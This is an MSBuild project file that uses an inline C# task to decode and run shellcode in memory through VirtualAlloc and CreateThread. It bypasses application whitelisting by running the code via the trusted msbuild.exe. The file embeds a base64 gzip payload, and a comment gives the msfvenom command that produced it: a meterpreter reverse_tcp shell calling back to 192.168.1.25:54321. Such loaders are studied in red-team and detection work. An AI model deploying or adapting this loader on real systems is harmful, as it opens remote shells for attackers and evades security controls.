MSBuild.exe shellcode execution (virtualalloc)

msbuild_sc_alloc.csproj

<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
	<!-- Original work by https://gist.github.com/subTee -->
	<!-- Run like C:\Windows\Microsoft.NET\Framework\v4.0.30319>msbuild c:\temp\msbuild_sc_alloc.csproj -->
	<Target Name="Hello">
		<FragmentExample />
		<MeterExecute />
	</Target>
  
	<UsingTask TaskName="FragmentExample" TaskFactory="CodeTaskFactory" AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" >
		<ParameterGroup/>
		<Task>
			<Using Namespace="System" />  
			<Code Type="Fragment" Language="cs">
			<![CDATA[
				Console.WriteLine("Original work by https://gist.github.com/subTee");
			]]>
			</Code>
		</Task>
	</UsingTask>
	
	<UsingTask TaskName="MeterExecute" TaskFactory="CodeTaskFactory" AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" >
		<ParameterGroup/>
		<Task>
			<Using Namespace="System" />
			<Using Namespace="System.Reflection" />
			<Code Type="Class" Language="cs">
				<![CDATA[
				
				using System;
				using System.IO;
				using Microsoft.Build.Framework;
				using Microsoft.Build.Utilities;
				using System.IO.Compression;
				using System.Runtime.InteropServices;
				using System.Threading;
				
				public class MeterExecute :  Task, ITask
				{
					public override bool Execute()
					{
						IntPtr shellcodeProcessHandle = IntPtr.Zero;
						// 
						// CHANGE SHELLCODE HERE
						// msfvenom --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.1.25 LPORT=54321 -f raw 2>/dev/null | gzip | base64 -w 0
						//
						String ShellCode_B64 = "H4sIAGvZX1kAA/vzoomBgSGh86nhgZTuAIPuIJ7uIJHuIg3+7V5qhv/X2CTWMOkoHDzPy3j80aeg8O4ggW4vm24fwYrHHowXA7sjFRgvd3tKPLby7DbpZrwG1ABWavGg9Btz7Q/rWpXSJxHdESqMl9O6eby7I2SAqlm6GS90uqioREcnRkYF/n8QHx/VLfS6NzbD2IiBIaO82Cg+JMOnXI39/9UdExgZGDSPhARkaDZkM/y/msWacWAFo2QGE8MVw85nAUDgAIQZr/jvP/h/dXqWQFh4xsylJYn/r7YeKOH678dR+uZFItBvWQxZLEApppsn4v9fbf7BUGfWbZblkMEgwMAQlsWQEbEk+On/q5ODsxjCgpFU1SpFZDA4gHQHZHDr8xv8vxqeUZrnCzQ9Lu4/j8rLwv///zMe1jxWevzw7g9bFwFNCv5/FQCF4lpQTQEAAA==";
						//
						//
						Console.WriteLine("Started shellcode execution..");
						byte[] ShellCode_gzip = Convert.FromBase64String(ShellCode_B64);
						byte[] ShellCode_c = Decompress(ShellCode_gzip);
						shellcodeProcessHandle = exec_shellcode(ShellCode_c);
						WaitForSingleObject(shellcodeProcessHandle, 0xFFFFFFFF);
						Console.WriteLine("Ended shellcode execution..");
						return true;
					}
					
					static byte[] Decompress(byte[] data)
					{
						using (var compressedStream = new MemoryStream(data))
						using (var zipStream = new GZipStream(compressedStream, CompressionMode.Decompress))
						using (var resultStream = new MemoryStream())
						{
							zipStream.CopyTo(resultStream);
							return resultStream.ToArray();
						}
					}
					
					private static IntPtr exec_shellcode(byte[] shellcode)
					{
						UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
						Marshal.Copy(shellcode, 0, (IntPtr)(funcAddr), shellcode.Length);
						IntPtr hThread = IntPtr.Zero;
						UInt32 threadId = 0;
						IntPtr pinfo = IntPtr.Zero;
						hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);
						return hThread;
					}
					private static UInt32 MEM_COMMIT = 0x1000;
					private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;
					[DllImport("kernel32")]
					private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr,
					 UInt32 size, UInt32 flAllocationType, UInt32 flProtect);
					[DllImport("kernel32")]
					private static extern IntPtr CreateThread(
						UInt32 lpThreadAttributes,
						UInt32 dwStackSize,
						UInt32 lpStartAddress,
						IntPtr param,
						UInt32 dwCreationFlags,
						ref UInt32 lpThreadId
					);
					[DllImport("kernel32")]
					private static extern UInt32 WaitForSingleObject(
						IntPtr hHandle,
						UInt32 dwMilliseconds
					);
				}
				
				]]>
			</Code>
		</Task>
	</UsingTask>
</Project>